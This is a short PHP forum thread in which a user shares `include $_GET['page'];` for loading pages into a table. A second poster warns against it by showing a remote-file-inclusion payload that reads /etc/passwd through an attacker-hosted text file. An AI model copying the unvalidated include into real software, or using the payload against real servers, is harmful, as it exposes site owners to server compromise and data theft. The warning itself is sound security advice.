Results 1 to 7 of 7

Thread: [RESOLVED] PHP to link pages to a table

  1. #1

    Thread Starter
    PowerPoster kfcSmitty's Avatar
    Join Date
    May 2005
    Posts
    2,248

    Resolved [RESOLVED] PHP to link pages to a table

    I feel bad asking for code here..but I really have no idea where to start.

    I once had a script to do this for me..and I uploaded it to

    http://ss.phoenixavatars.com/lin1/

    but the webmaster is an idiot and wont reset my password for me...so I don't have access to the code.

    Anyways, what that script was, was it had a table, and within the table it had a PHP script to load a webpage; although I don't remember how it loaded the page.

    I did this so the website wouldnt have to reload the page everytime a link was clicked.

    Could someone point me to a tutorial, or give me a snipped of code to accomplish this? I've been googling for hours now trying to find some hint on how to do it..

  2. #2
    Kitten CornedBee's Avatar
    Join Date
    Aug 2001
    Location
    In a microchip!
    Posts
    11,594

    Re: PHP to link pages to a table

    Uhm ... just use an iframe?
    All the buzzt
    CornedBee

    "Writing specifications is like writing a novel. Writing code is like writing poetry."
    - Anonymous, published by Raymond Chen

    Don't PM me with your problems, I scan most of the forums daily. If you do PM me, I will not answer your question.

  3. #3

    Thread Starter
    PowerPoster kfcSmitty's Avatar
    Join Date
    May 2005
    Posts
    2,248

    Re: PHP to link pages to a table

    Quote Originally Posted by CornedBee
    Uhm ... just use an iframe?
    Frames are the devil

  4. #4
    Kitten CornedBee's Avatar
    Join Date
    Aug 2001
    Location
    In a microchip!
    Posts
    11,594

    Re: PHP to link pages to a table

    They are, but I see no other reliable way of achieving what you want. You could grab the source of the other site and embed it in your page, but you'll have style conflicts, you have to rewrite all URLs (and possibly fetch dependent resources as well), ...
    All the buzzt
    CornedBee

    "Writing specifications is like writing a novel. Writing code is like writing poetry."
    - Anonymous, published by Raymond Chen

    Don't PM me with your problems, I scan most of the forums daily. If you do PM me, I will not answer your question.

  5. #5

    Thread Starter
    PowerPoster kfcSmitty's Avatar
    Join Date
    May 2005
    Posts
    2,248

    Re: PHP to link pages to a table

    Quote Originally Posted by CornedBee
    They are, but I see no other reliable way of achieving what you want. You could grab the source of the other site and embed it in your page, but you'll have style conflicts, you have to rewrite all URLs (and possibly fetch dependent resources as well), ...
    I am working on getting ahold of my host for that site I linked to..But he is not responding.

    The code would properly for me, because i have a template file the php links to.

    Thanks for your help..I was just wondering if anyone could tell me how to link a webpage using php...

    I tried using 'include' but it threw a bunch of errors my way

  6. #6

    Thread Starter
    PowerPoster kfcSmitty's Avatar
    Join Date
    May 2005
    Posts
    2,248

    Re: PHP to link pages to a table

    Just a heads up, incase anyone else has a question about this.
    The code was:

    Code:
    <?php
       include $_GET['page'];
    ?>
    Would do the following:

    If you had it in 1 part of the table, it would load members.html into that spot, if the user clicked the link "?page=members.html"

  7. #7
    Kitten CornedBee's Avatar
    Join Date
    Aug 2001
    Location
    In a microchip!
    Posts
    11,594

    Re: [RESOLVED] PHP to link pages to a table

    Yay!

    http://www.yourdomain.com/yourpage.p...ker/mypage.txt

    mypage.txt
    Code:
    <?php
    $file = fopen("/etc/passwd", "rt");
    fpassthru($file);
    fclose($file);
    ?>
    Do you have any other insane ideas of compromising your server?

    (There is a reason most sysadmins disable allow_url_fopen.)
    All the buzzt
    CornedBee

    "Writing specifications is like writing a novel. Writing code is like writing poetry."
    - Anonymous, published by Raymond Chen

    Don't PM me with your problems, I scan most of the forums daily. If you do PM me, I will not answer your question.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width